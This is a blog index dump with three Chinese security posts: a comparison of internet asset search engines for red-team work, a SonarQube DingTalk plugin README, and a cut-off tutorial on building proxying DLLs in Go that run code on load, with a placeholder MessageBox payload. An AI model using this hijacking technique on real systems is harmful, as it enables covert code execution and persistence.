\u0026#34;2017-12-23T10:27:00Z\u0026#34;, \u0026#34;not_after\u0026#34;: \u0026#34;2018-12-23T10:27:00Z\u0026#34;, \u0026#34;sigalg\u0026#34;: \u0026#34;SHA256WithRSA\u0026#34;, \u0026#34;authority_key_id\u0026#34;: \u0026#34;6E:45:FB:5F:1F:73:87:3E:C3:C:54:AB:74:95:2A:FB:44:E0:9B:D8\u0026#34;, \u0026#34;subject_key_id\u0026#34;: \u0026#34;62:EA:5A:DC:13:C4:5F:D5:EC:DB:13:77:DA:E1:90:1F:C9:4B:10:14\u0026#34;, \u0026#34;pem\u0026#34;: \u0026#34;-----BEGIN CERTIFICATE-----\\nMIIEcTCCA1mgAwIBAgIUKrImpH2fsSHYOsDcp3FzPmYT0DswDQYJKoZIhvcNAQEL\\nBQAwZTELMAkGA1UEBhMCQ04xEDAOBgNVBAgTB0JlaUppbmcxEDAOBgNVBAcTB0Jl\\naUppbmcxDDAKBgNVBAoTA2s4czEPMA0GA1UECxMGU3lzdGVtMRMwEQYDVQQDEwpr\\ndWJlcm5ldGVzMB4XDTE3MTIyMzEwMjcwMFoXDTE4MTIyMzEwMjcwMFowZTELMAkG\\nA1UEBhMCQ04xEDAOBgNVBAgTB0JlaUppbmcxEDAOBgNVBAcTB0JlaUppbmcxDDAK\\nBgNVBAoTA2s4czEPMA0GA1UECxMGU3lzdGVtMRMwEQYDVQQDEwprdWJlcm5ldGVz\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp9OWY14XEX7WtXMVKqrq\\naWdIw/EQgwNNmQmI7LcnEmggK5XTv84/mhzEiDGtz9LZ0Xw5IPVP2emPKOJE0N9p\\nKRAV2sMS1U7FJKOIuasKk2sa5QstWhNPjDdS+jNSvaFvT3MAWg50LfD6/wWAnSiV\\n4r9kA9ff+d8QhgavZvSX19KCkerP0Yjjn2ujD6kNtHOanFcA8i74UF8oM3qHOo1T\\nFglHx+ZD0D6BV5aCQdTyWo9QwBExPC6AGbUydAIewxwCefPz0IalPXvZo9AS05dt\\nEX6cTvP+hC3RQxBfp0EVHD/UPV/n+YDspx0/oYexMrFn2MFVkTXLp64QUc0Z7MQe\\nGwIDAQABo4IBFzCCARMwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUF\\nBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRi6lrcE8Rf1ezb\\nE3fa4ZAfyUsQFDAfBgNVHSMEGDAWgBRuRftfH3OHPsMMVKt0lSr7ROCb2DCBkwYD\\nVR0RBIGLMIGIggCCAIIKa3ViZXJuZXRlc4ISa3ViZXJuZXRlcy5kZWZhdWx0ghZr\\ndWJlcm5ldGVzLmRlZmF1bHQuc3Zjgh5rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNs\\ndXN0ZXKCJGt1YmVybmV0ZXMuZGVmYXVsdC5zdmMuY2x1c3Rlci5sb2NhbIcEfwAA\\nATANBgkqhkiG9w0BAQsFAAOCAQEALL0sJDq2dGGN8leHcUc2+Sgy9MIQPzXSNhug\\nPJaamIpZBwAvP6yD/fEACapNciY4iMleoy/f8L98BzlVHTDchxV8TwGfX3TgeAlq\\n8C6/qagmhgFDi0mjv3cnoLp3mj3mFE47UuQ1L4uIZEztbZfPjCGdpRyA/4Dw1RjQ\\nDB41hGBVTQ4sbFbTNtQMYz5lxD23I7UuXyBeQ2WFLYdMtuld01iQ1vu0Hh0jYvie\\nYyKtlbrpnvOIFvTx2qLB78Qv0427QjxjjyC5bJqQZS42T7X4ynXiaQ8OB5mMAVP/\\nzKCnlTMlt+d4M7wv+CU6/klPVQasF8D52Ykvu8mPEHshelk/CA==\\n-----END CERTIFICATE-----\\n\u0026#34; } 漏洞 支持对暴露漏洞进行搜索的貌似只有 shodan 和 sumap\n网站备案 国内除了 zoomeye，基本都有对备案有简单的支持\n可以对备案号进行搜索，当然，sumap更加细化了该功能\n而 hunter 则是扩展了该功能，做了更多关联工作\n应用协议细化 比较了几家来看的话，做的最好的是quake，针对协议方面做了很多细化，其他各家基本只是针对http做了细化（比如header，header中的server字段，web图标，http正文等等），shodan也做了一些协议的细致化提取，但是没有quake多\nquake不仅对http做了细化，还对ftp、rsync、ssh、upnp、snmp、docker、dns、elastic、hive、mongodb、ethernetip、modbus、s7、smb等做了细致化的内容提取，其中rsync和mongo还做了是否未授权的指纹提取\nRDP截图，这个功能我也不知道在什么场景能用到，目前来看支持的有fofa、quake、shodan、sumap，其他家不支持，其中quake还对截图进行了ocr文字提取\n附加语法 上面提到了一些我们搜索常见常用的语法，下面来说一下各家一些特色的东西\nfofa fofa中有个功能是 fid，能够针对网站生成唯一的特征id；通过对相同的fid进行聚合，来实现用户的查询需求；最终解决未知资产发现、自动聚类网站、资产指纹扩充等需求），常见需求：通过同一套业务系统定位到所有使用这套系统的网站\nfofa还针对web网页中的js做了处理 js_name 和 js_md5，可以针对js做一些搜索，可以想到的场景比如某个供应链公司的几套产品，会用自己内部的某个公有js，那么可以通过该js聚类出来\nfofa里面还有 is_fraud 和 is_honeypot，is_fraud 用来排除仿冒/欺诈数据，is_honeypot用来 排除蜜罐数据，对于一些hvv场景下的红队攻击比较有用\nquake quake对于应用识别也做了一些归类，可以根据应用属于什么类别，或者属于那一层，以及生产厂家等等来做查询，具体可以查看下图\nquake对ip的运营商和单位做了一些归类，可以查看IP归属的运营商和单位，查询ip单位这个功能如果做得准确的话会大大方便红队\nshodan shodan对一些云服务做了额外识别\nzoomeye zoomeye提供了一个 dig 查询，但是我确实不清楚这个是干嘛的，看起来像是跟踪路由解析的每一跳，但我测试了以下，就 baidu.com 和 google.com 结果多点，其他的域名基本查不到，本人暂不清楚这个过滤语法的功能和目的\nsumap 除了上面提到的漏洞和备案，sumap对于一些网站做了内容识别然后分了类，但是并未提供更多选项和样例，针对一些政府打击非法网站可能会比较有用\nhunter hunter比较特别的功能就是备案了，上面也有提到，hunter有根据网页的备案号将资产和备案信息关联起来，可以通过备案信息来搜索资产，这个功能对于国内红队和hvv场景比较有用，或者做一些行业资产评估\n界面和功能 为什么把功能单独拆出来呢，因为有些东西可能并没有以语法形式提供，但是在页面上能看到，所以我把它归到了界面功能上\n首先是聚合分析，这是每一家都有的，下面说一下各家的特色功能\nshodan shodan提供了给定资产扫描的功能\nzoomeye zoomeye可以针对特定语法进行订阅，然后它会提供一个周期内的资产变化\nzoomeye提供了恶意ip标记功能\nquake quake针对相似的网站图标做了聚合\nquake也可以像fofa一样排除蜜罐，不过是在页面上提供的，也可以排除cdn\nsumap sumap提供了三个不同于其他家的聚合功能，分别是whois聚合分析，dns解析聚合分析，以及根据根资产做的暴露面分析\n同时sumap提供了一个漏洞收集页面，可以直接点选漏洞进行产品梳理，这个比shodan要方便\n同时对漏洞做了一些聚合，这里就不截图了\nhunter hunter做了一个比较人性化的设计，就是语法关键词提示，输入 p，就会出现一个语法推荐，出现所有包含 p 的语法关键词，类似于ide里面的只能提示，下面接着的就是大家都有的指纹提示了\n做得还有个比较人性化的一点是，自动帮你选了想要的状态码和资产类别\n此外对于登录页有额外的标签提示\nhunter针对各家的搜索语法都有一定的兼容性\n数据更新周期 shodan更新周期为一周（来源: https://help.shodan.io/the-basics/on-demand-scanning） hunter 7天更新国内资产；30天更新海外资产（来源: https://hunter.qianxin.com/home/helpCenter） 其他家的未见到说明\n收费体系 综合来看，对于重度使用者（指那些需要使用api自动化的人），fofa是最实惠的，买断制，只对单次导出数量有限制，对导出总量没有限制。\n其他家各种收费体系，基本都是每月给你一定量的免费查询额（按照每条或者每页），付费可以增加查询额，总体上来说就是对于每月查询总量做了限制\n个人总结 因为工作上偶尔接触红队，所以会更偏向于国内资产的探测，所以以下的均是国内的网络空间检索网站\n目前来看，hunter除了体验上的优化外，比较吸引人的是备案关联信息的查询，这个对于国内的一些应用场景很适用\nquake的资产分类做得是这些中做得最好的\n关于漏洞搜索，sumap比较合适\n如果想要资产监控，可能zoomeye更合适（或者是账号等级的原因，其他平台未见到）\n参考资料 证书各个字段的含义 fofa.so quake帮助文档 shodan Filter Reference zoomeye用户手册 sumap hunter 基础语法介绍 Feature引擎正式上线！“拓线”功能开放！ ","permalink":"https://www.hacktech.cn/post/2021/10/net-search-platform-compare/","summary":"\u003cp\u003e最近网络空间检索平台雨后春笋般涌现，本篇文章以一个使用者的视角来做一下对比\u003c/p\u003e","title":"网络空间检索平台对比"},{"content":"网上看到的钉钉通知插件已经不适用于最新的 SonarQube 了，所以自己花了点时间撸了一下\n仓库地址: https://github.com/akkuman/sonarqube-ding-robot\n参数说明 1 2 3 4 5 Usage of ./sonarqube-ding-robot: -addr string 输入监听地址 (default \u0026#34;0.0.0.0:9001\u0026#34;) -token string 输入sonarqube token 使用 钉钉机器人的配置 首先打开群机器人添加页面\n添加一个 自定义（通过webhook接入自定义服务） 的机器人\n然后复制出该回调地址\n你会得到一个类似于 https://oapi.dingtalk.com/robot/send?access_token=xxxx 的url，其中的 xxxx 就是钉钉机器人的token\n添加一个安全设置，关键词添加 代码，或者你可以选择ip段，这里不详细说明了\n获取 sonarqube 的token 按照下图进行生成\n生成后你会得到 sonarqube 的 token\n运行 sonarqube-ding-robot 下载程序\n1 wget https://github.com/akkuman/sonarqube-ding-robot/releases/latest/download/sonarqube-ding-robot 或者\n1 go install github.com/akkuman/sonarqube-ding-robot 然后后台运行该程序（服务）\n1 2 chmod +x sonarqube-ding-robot nohup ./sonarqube-ding-robot -addr 0.0.0.0:9696 -token sonarqube的token 在sonarqube进行网络调用配置 如果你想配置全局的网络调用（所有项目都发送通知），进入 sonarqube 的网络调用配置界面 http://xxxx.com/admin/webhooks\n按照上图进行设置\n通知完成 然后进行扫描后，将会在钉钉群内推送一则通知\nReference https://github.com/viodo/sonar-dingtalk-plugin ","permalink":"https://www.hacktech.cn/post/2021/09/proj-sonarqube-dingtalk-robot/","summary":"\u003cp\u003e网上看到的钉钉通知插件已经不适用于最新的 SonarQube 了，所以自己花了点时间撸了一下\u003c/p\u003e","title":"SonarQube钉钉通知插件"},{"content":"本文章将讲解如何使用恶意的 Golang 来实现 dll 劫持转发\ndll 转发概述 dll 转发: 攻击者使用恶意dll替换原始dll，重命名原始dll并通过恶意dll将原先的功能转发至原始dll。\n该恶意dll一般用来专门执行攻击者希望拦截或修改的功能，同时将所有其他功能转发至原始dll\n一般可与 dll 劫持共同使用。\ndll 搜索顺序 首先我们来看一下 Windows 系统中 dll 的搜索顺序\n上图中攻击者可以控制的就是标准搜索顺序中的步骤，根据情况的不同我们可以选择不同的方式来进行 dll 劫持\n步骤 要实现 dll 转发，一般需要以下一些步骤\n解析原始 dll 的导出表 收集出要拦截修改的函数 在恶意 dll 中实现拦截功能 将所有其他函数转发至原始 dll 上 重命名原始 dll 使用原始 dll 的名称重命名恶意 dll PE 文件导出表 什么是 PE 导出表？ 导出表就是当前的 PE 文件提供了哪些函数给别人调用。\n并不只有 dll 才有导出表，所有的 PE 文件都可以有导出表，exe 也可以导出函数给别人使用，一般情况而言 exe 没有，但并不是不可以有\n导出表在哪里？ PE 文件格式在这里并不进行详细介绍，感兴趣的读者可以自行查阅相关资料。\nPE 文件包含 DOS 头和 PE 头，PE 头里面有一个扩展头，这里面包含了一个数据目录（包含每个目录的VirtualAddress和Size的数组。目录包括：导出、导入、资源、调试等），从这个地方我们就能够定位到导出表位于哪里\n导出表的结构 接下来我们看看导出表的结构\n1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; //时间戳. 编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的. WORD MajorVersion; WORD MinorVersion; DWORD Name;　//指向该导出表文件名的字符串,也就是这个DLL的名称 辅助信息.修改不影响 存储的RVA 如果想在文件中查看.自己计算一下FOA即可. DWORD Base; // 导出函数的起始序号 DWORD NumberOfFunctions; //所有的导出函数的个数 DWORD NumberOfNames; //以名字导出的函数的个数 DWORD AddressOfFunctions; // 导出的函数地址的 地址表 RVA 也就是 函数地址表 DWORD AddressOfNames; // 导出的函数名称表的 RVA 也就是 函数名称表 DWORD AddressOfNameOrdinals; // 导出函数序号表的RVA 也就是 函数序号表 } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 我们使用cff explorer看看dll的导出表\n可惜从这个图上我们并不能观察出导出的函数是否是一个转发函数，我们使用16进制编辑器打开看看\n从这个图上我们可以看到 add 导出函数前面还有一些东西 _lyshark.dll._lyshark.add.add\n这个标识告诉我们这个 dll 的导出函数 add 实际上位于 _lyshark.dll 上\ndll 转发如何工作 当我们调用转发函数时，Windows加载程序将检查该 dll（即恶意 dll）所引用的 dll（即原始dll）是否已加载，如果引用的 dll 还没有加载到内存中，Windows加载程序将加载这个引用的 dll，最后搜索该导出函数的真实地址，以便我们调用它\ndll 转发（dll 劫持）的一般实现 我们能在网上搜索到一些 dll 转发（dll 劫持）的实现，基本是使用微软 MSVC 编译器的特殊能力4\nMSVC 支持在 cpp 源文件中写一些链接选项，类似\n1 #progma comment(linker, \u0026#34;/export:FUNCTION_NAME=要转发的dll文件名.FUNCTION_NAME\u0026#34;) 列出导出函数 下面我们采用 MSVC 对 zlib.dll 实现一个样例5\n首先我们能使用 DLL Export Viewer 工具查看并导出一个 dll 的导出表\n然后我们点击 View \u0026gt; HTML Report - All Functions\n我们可以得到一个类似于下面的 html\n给 MSVC 链接器生成导出指令 我们现在可以把这个 html 转化为 MSVC 的导出指令5\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026#34;\u0026#34;\u0026#34; The report generated by DLL Exported Viewer is not properly formatted so it can\u0026#39;t be analyzed using a parser unfortunately. \u0026#34;\u0026#34;\u0026#34; from __future__ import print_function import argparse def main(): parser = argparse.ArgumentParser(description=\u0026#34;DLL Export Viewer - Report Parser\u0026#34;) parser.add_argument(\u0026#34;report\u0026#34;, help=\u0026#34;the HTML report generated by DLL Export Viewer\u0026#34;) args = parser.parse_args() report = args.report try: f = open(report) page = f.readlines() f.close() except: print(\u0026#34;[-] ERROR: open(\u0026#39;%s\u0026#39;)\u0026#34; % report) return for line in page: if line.startswith(\u0026#34;\u0026lt;tr\u0026gt;\u0026#34;): cols = line.replace(\u0026#34;\u0026lt;tr\u0026gt;\u0026#34;, \u0026#34;\u0026#34;).split(\u0026#34;\u0026lt;td bgcolor=#FFFFFF nowrap\u0026gt;\u0026#34;) function_name = cols[1] ordinal = cols[4].split(\u0026#39; \u0026#39;)[0] dll_orig = \u0026#34;%s_orig\u0026#34; % cols[5][:cols[5].rfind(\u0026#39;.\u0026#39;)] print(\u0026#34;#pragma comment(linker,\\\u0026#34;/export:%s=%s.%s,@%s\\\u0026#34;)\u0026#34; % (function_name, dll_orig, function_name, ordinal)) if __name__ == \u0026#39;__main__\u0026#39;: main() 然后我们可以获得这样的输出\n下面的具体怎么生成不再进行介绍，如果感兴趣可以查看 Windows Privilege Escalation - DLL Proxying 或 基于AheadLib工具进行DLL劫持\ndll 转发（dll 劫持）的 mingw 实现 如果有的人和我一样，不喜欢安装庞大的 Visual Studio，习惯用 gcc mingw 来完成，我们也是能够完成的\ndef 文件介绍 这里我们使用 gcc 编译器和 mingw-w64（这个是mingw的改进版）\n此处我们不再采用直接把链接指令写入代码源文件的方式，而是采用模块定义文件 (.Def)\n模块定义 (.def) 文件为链接器提供有关导出、属性和有关要链接的程序的其他信息的信息。.def 文件在构建 DLL 比较有用。详情可参见 MSDN Module-Definition (.Def) Files\n当然，我们采用这种方式的原因是因为 .def 能被 mingw-w64 所支持，我们要做的就是在.def文件中写入我们要转发到原始dll的所有函数的列表，并在编译dll的时候在GCC中设置该 .def 文件参与链接。\n简单的示例 实现流程 这里我们采用一个简单的样例，我们采用常规写了一个 dll, 该 dll 文件导出一个 add 函数，该导出函数的作用就是把传入的两个数值进行相加\n1 2 3 4 5 6 7 8 9 10 11 12 #include \u0026lt;Windows.h\u0026gt; extern \u0026#34;C\u0026#34; int __declspec(dllexport)add(int x, int y) { return x + y; } BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid) { return true; } 我们将它编译成 dll 文件\n1 gcc add.cpp -shared -o add.dll 然后我们写一个主程序来调用它\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;Windows.h\u0026gt; typedef int(*lpAdd)(int, int); int main(int argc, char *argv[]) { HINSTANCE DllAddr; lpAdd addFun; DllAddr = LoadLibraryW(L\u0026#34;add.dll\u0026#34;); addFun = (lpAdd)GetProcAddress(DllAddr, \u0026#34;add\u0026#34;); if (NULL != addFun) { int res = addFun(100, 200); printf(\u0026#34;result: %d \\n\u0026#34;, res); } FreeLibrary(DllAddr); system(\u0026#34;pause\u0026#34;); return 0; } 然后我们进行编译执行\n1 2 gcc main.cpp -o main.exe ./main.exe 可以看到如下输出\n然后我们将我们刚才生成的 add.dll 重命名为 _add.dll\n然后创建一个 .def 文件\nfunctions.def\n1 2 3 LIBRARY _add.dll EXPORTS add = _add.add @1 LIBRARY _add.dll 代表转发到 _add.dll，下面的 EXPORTS 定义了需要转发的函数，= 前面是导出函数名，= 后面的 _add 代表要转发到的 dll 的名称，add 代表要转发到 _add.dll 的哪一个导出函数，关键在于 @1\n我们可以拿 DLL Export Viewer 或 StudyPE+ 等工具看看\n我们可以看到 Ordinal, 这个是导出函数序号，就是 @1 的来源，如果有多个导出函数，依次写下来即可\n然后编写我们的恶意 dll\n1 2 3 4 5 6 7 #include \u0026lt;Windows.h\u0026gt; BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid) { return true; } 如上所示，当然，这只是一个样例，所以我并没有写下任何恶意代码\n现在可以编译我们的恶意dll了\n1 gcc -shared -o add.dll evil.cpp functions.def -shared表示我们要编译一个共享库（非静态） -o指定可执行文件的输出文件名 add.dll是我们想给我们的恶意 dll 起的名字 evil.cpp是我们在其中编写恶意 dll 代码的 .cpp 文件 如果编译成功的话，你应该能在同目录下找到刚刚生成好的恶意 dll（add.dll）\n我们再使用 PE 查看工具看看导出表\n可以看到中转输出表上已经有了\n注意我们这个 dll 并没有写任何功能性代码，让我们使用刚才编译的 main.exe 测试一下\n可以发现功能转发正常\n当然，当导出函数过多的时候我们不可能一个个自己去导出表里抄，可以写一个脚本自动化完成这个工作，不过这不是我们本文的重点，或者你可以使用 mingw-w64 里面自带的 gendef.exe 工具\n.def 和 .exp 文件 exp：\n文件是指导出库文件的文件，简称导出库文件，它包含了导出函数和数据项的信息。当LIB创建一个导入库，同时它也创建一个导出库文件。如果你的程序链接到另一个程序，并且你的程序需要同时导出和导入到另一个程序中，这个时候就要使用到exp文件(LINK工具将使用EXP文件来创建动态链接库)。\ndef：\ndef文件的作用即是，告知编译器不要以microsoft编译器的方式处理函数名，而以指定的某方式编译导出函数（比如有函数func，让编译器处理后函数名仍为func）。这样，就可以避免由于microsoft VC++编译器的独特处理方式而引起的链接错误。\n从上面的介绍中我们可以看出 .exp 文件可以用在链接阶段，所以我们可以先使用 dlltool 工具将 .def 转化为 .exp 文件，然后编译 evil.cpp 到 evil.o 再手动进行链接。\n1 2 3 gcc -c -O3 evil.cpp dlltool --output-exp functions.exp --input-def functions.def ld -o add.dll functions.exp evil.o 额外的说明 当然，你也可以通过 clang 来完成这项工作\n1 clang -shared evil.cpp -o add.dll -Wl\u0026#34;/DEF:functions.def\u0026#34; 我们如何用 Golang 来实现转发 dll Golang 提供了官方的动态链接库（dll）编译命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go，根据我们前面铺垫的基础，现阶段所需要思考的是：如何把 .def 文件或 .exp 文件也带入进去？\n下文我将用 gcc 作为 cgo 的外部链接器，clang也可以按照同样的思想\n尝试与思考 为什么不考虑利用cgo直接在c代码中写 #progma comment(linker, '/EXPORT')，这个的主要原因是 Golang 的 cgo 能力现阶段只支持 clang 和 gcc，MSVC编译器并不支持9。\n让我们现在来思考一下整个编译流程：\n预处理 预处理用于将所有的#include头文件以及宏定义替换成其真正的内容 编译 将经过预处理之后的程序转换成特定汇编代码(assembly code)的过程 汇编 汇编过程将上一步的汇编代码转换成机器码(machine code)，这一步产生的文件叫做目标文件，是二进制格式。gcc汇编过程通过as命令完成，这一步会为每一个源文件产生一个目标文件 链接 链接过程将多个目标文以及所需的库文件(.so等)链接成最终的可执行文件(executable file)。 前三步都是在将代码处理成二进制机器码，而我们所要操控的导出表是属于文件格式的一部分，所以应该是需要在链接这个步骤做文章\n借助这个思路，我们对上面的样例做做文章。\n首先把我们的 evil.cpp 编译汇编成目标文件，然后链接时加入额外控制。\n1 2 3 4 # evil.cpp 编译汇编成 evil.o 目标文件（下面的 -O3 是为了启用 O3 优化，可选） gcc -c O3 evil.cpp # 和 .def 文件一起进行链接 ld -o add.dll functions.def evil.o 或者利用上文中先将 .def 转化成 .exp 再进行手动链接，我们均能得到我们预期的转发dll。\ngolang 中的实现 我们的目的是需要把 .def 或 .exp 文件放入整个编译流程的链接环节中去。\n首先我们需要先了解一下 cgo 的工作方式11：它用c编译器编译c，用Go编译器编译Go，然后使用 gcc 或 clang 将他们链接在一起，我们甚至能够通过 CGO_LDFLAGS 来将flag传递至链接器。\n在我们Golang程序编译命令中，相信大家使用过 -ldflags=\u0026quot;\u0026quot; 选项，这个其实是 go tool link 带来的，go build 只是一个前端，Go 提供了一组低级工具来编译和链接程序，go build只需收集文件并调用这些工具。我们可以通过使用-x标志来跟踪它的作用。不过这里我们并不关心这个。\n我们去看看 go tool link的说明书，帮助文件里面提到了\n1 2 3 4 -extld linker Set the external linker (default \u0026#34;clang\u0026#34; or \u0026#34;gcc\u0026#34;). -extldflags flags Set space-separated flags to pass to the external linker. -extld 一般我们不需要更改，也就是我们只需要想办法修改 -extldflags 让链接过程带入我们的 .def 或 .exp 文件即可。\n但是，我们刚才使用 ld 编译的时候，都是直接将 .def 或 .exp 文件传入的，如何通过 ld 的参数传入呢？\n在 gcc 的链接选项 里，有一个选项是 -Wl，用法为 -Wl,option，它的作用就是将-Wl后的option作为标识传递给 ld 命令，如果 option 中包含 ,，则根据 , 拆分为多个标识传递给 ld，可能看到这里你对于这个选项还是一知半解，下面举个例子\n1 2 gcc -c evil.cpp ld -o add.dll functions.def evil.o 等同于\n1 gcc -shared -o add.dll -Wl,functions.def evil.cpp 等同于\n1 gcc -shared -Wl,functions.def,-o,add.dll evil.cpp 也就是 -Wl 后面的东西都会传递链接器\n所以我们将 .def 或 .exp 文件利用 -Wl 选项设置到 -extldflags 上去即可。\n所以我们现在可以创建一个样例 go 程序用来编译 dll\nmain.go\n1 2 3 4 5 6 7 package main import \u0026#34;C\u0026#34; func main() { // Need a main function to make CGO compile package as C shared library } 然后进行编译\n1 go build -buildmode=c-shared -o add.dll -ldflags=\u0026#34;-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def\u0026#34; main.go 注意：-Wl后面要写上 .def 或 .exp 文件的绝对路径，主要是由于调用程序时候的工作路径问题，只需要记住这一点即可。\n现在我们得到了一个 golang 编译出来的转发dll\n当然，你可能会对那个 _cgo_dummy_export 导出函数比较疑惑，这个是golang编译的dll所特有的，如果你想要去除掉它，可以使用 .exp 来进行链接\n1 go build -buildmode=c-shared -o add.dll -ldflags=\u0026#34;-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp\u0026#34; main.go dll 转发的总结 其实 cgo 主要的编译手段为：用c编译器编译c，用Go编译器编译Go，然后使用 gcc 或 clang 将他们链接在一起。我们所需要做的只是将它们粘合在一起。\n在 Golang 中如何实现恶意 dll 我们已经知道了该怎么在 Golang 中实现转发 dll，接下来我们可以尝试实现恶意 dll 了。\ninit 写法 如果你看这篇文章，相信你已经知道 Go 会默认执行包中的 init() 方法。所以我们可以把我们的恶意代码定义到这个函数里面去。\n一般的dll实现方式为\n1 2 3 4 5 6 7 8 9 package main func Add(x, y int) int { return x + y } func main() { // Need a main function to make CGO compile package as C shared library } 我们只需要加上一个 init 方法，并且让恶意代码异步执行即可（防止 LoadLibrary 卡住）\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package main func init() { go func() { // 你的恶意代码 }() } func Add(x, y int) int { return x + y } func main() { // Need a main function to make CGO compile package as C shared library } 对于 windows dll 更细粒度的控制 对于windows dll，DllMain11 是一个可选的入口函数\n对于 DllMain 的介绍，我这里就不再赘述了，感兴趣的可以自行进行查询\n系统是在什么时候调用DllMain函数的呢？静态链接或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第二个参数fdwReason指明了系统调用Dll的原因，它可能是:：\nDLL_PROCESS_ATTACH: 当一个DLL文件首次被映射到进程的地址空间时 DLL_PROCESS_DETACH: 当DLL被从进程的地址空间解除映射时 DLL_THREAD_ATTACH: 当进程创建一线程时，第n(n\u0026gt;=2)次以后地把DLL映像文件映射到进程的地址空间时，是不再用DLL_PROCESS_ATTACH调用DllMain的。而DLL_THREAD_ATTACH不同，进程中的每次建立线程，都会用值DLL_THREAD_ATTACH调用DllMain函数，哪怕是线程中建立线程也一样 DLL_THREAD_DETACH: 如果线程调用了ExitThread来结束线程（线程函数返回时，系统也会自动调用ExitThread），系统查看当前映射到进程空间中的所有DLL文件映像，并用DLL_THREAD_DETACH来调用DllMain函数，通知所有的DLL去执行线程级的清理工作 这些流程根据你自己的需求来进行控制。当然，如果你有过 Windows 编程经验，应该对这个比较熟悉。\nGolang 是一个有 GC 的语言，需要在加载时运行 Golang 本身的运行时，所以暂时没有太好的方案在 Golang 中实现 DllMain 让外层直接调用入口点，因为没有初始化运行时。\n我们可以变相通过 cgo 来实现这个目的。总体思路为，利用 C 来写 DllMain，通过 c 来调用 Golang 的函数\n以下示例代码大多来自 github.com/NaniteFactory/dllmain\nc 实现 DllMain 首先我们可以在 c 中定义我们自己的 DllMain\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include \u0026#34;dllmain.h\u0026#34; typedef struct { HINSTANCE hinstDLL; // handle to DLL module DWORD fdwReason; // reason for calling function // reserved LPVOID lpReserved; // reserved } MyThreadParams; DWORD WINAPI MyThreadFunction(LPVOID lpParam) { MyThreadParams params = *((MyThreadParams*)lpParam); OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved); free(lpParam); return 0; } BOOL WINAPI DllMain( HINSTANCE _hinstDLL, // handle to DLL module DWORD _fdwReason, // reason for calling function LPVOID _lpReserved) // reserved { switch (_fdwReason) { case DLL_PROCESS_ATTACH: // Initialize once for each new process. // Return FALSE to fail DLL load. { MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams)); lpThrdParam-\u0026gt;hinstDLL = _hinstDLL; lpThrdParam-\u0026gt;fdwReason = _fdwReason; lpThrdParam-\u0026gt;lpReserved = _lpReserved; HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL); // CreateThread() because otherwise DllMain() is highly likely to deadlock. } break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; } return TRUE; // Successful. } 注意此处最好使用 CreateThread 来进行外部 Go 函数的调用，不然可能因为初始化 Go 运行时的问题导致死锁。\n我们在该代码中 DLL_PROCESS_ATTACH 时异步调用了 OnProcessAttach，我们在 Golang 中实现这个恶意函数\nGolang 恶意代码 我们现在来定义我们的恶意代码实现\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package main import \u0026#34;C\u0026#34; import ( \u0026#34;unsafe\u0026#34; \u0026#34;syscall\u0026#34; ) // MessageBox of Win32 API. func MessageBox(hwnd uintptr, caption, title string, flags uint) int { ret, _, _ := syscall.NewLazyDLL(\u0026#34;user32.dll\u0026#34;).NewProc(\u0026#34;MessageBoxW\u0026#34;).Call( uintptr(hwnd), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))), uintptr(flags)) return int(ret) } // MessageBoxPlain of Win32 API. func MessageBoxPlain(title, caption string) int { const ( NULL = 0 MB_OK = 0 ) return MessageBox(NULL, caption, title, MB_OK) } // OnProcessAttach is an async callback (hook). //export OnProcessAttach func OnProcessAttach( hinstDLL unsafe.Pointer, // handle to DLL module fdwReason uint32, // reason for calling function lpReserved unsafe.Pointer, // reserved ) { MessageBoxPlain(\u0026#34;OnProcessAttach\u0026#34;, \u0026#34;OnProcessAttach\u0026#34;) } func main() { // Need a main function to make CGO compile package as C shared library } 此处我们实现了恶意函数 OnProcessAttach，只是弹个窗来模拟恶意代码。\n组合 Golang 和 c 编译 现在我们有了 .go 和 .c，还需要把它们两个粘合起来\n第一种方案 你可以通过 cgo 的一般写法，在 .go 的注释中把 c 代码拷贝进去，例如\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package main /* #include \u0026#34;dllmain.h\u0026#34; typedef struct { HINSTANCE hinstDLL; // handle to DLL module DWORD fdwReason; // reason for calling function // reserved LPVOID lpReserved; // reserved } MyThreadParams; DWORD WINAPI MyThreadFunction(LPVOID lpParam) { MyThreadParams params = *((MyThreadParams*)lpParam); OnProcessAttach(params.hinstDLL, params.fdwReason, 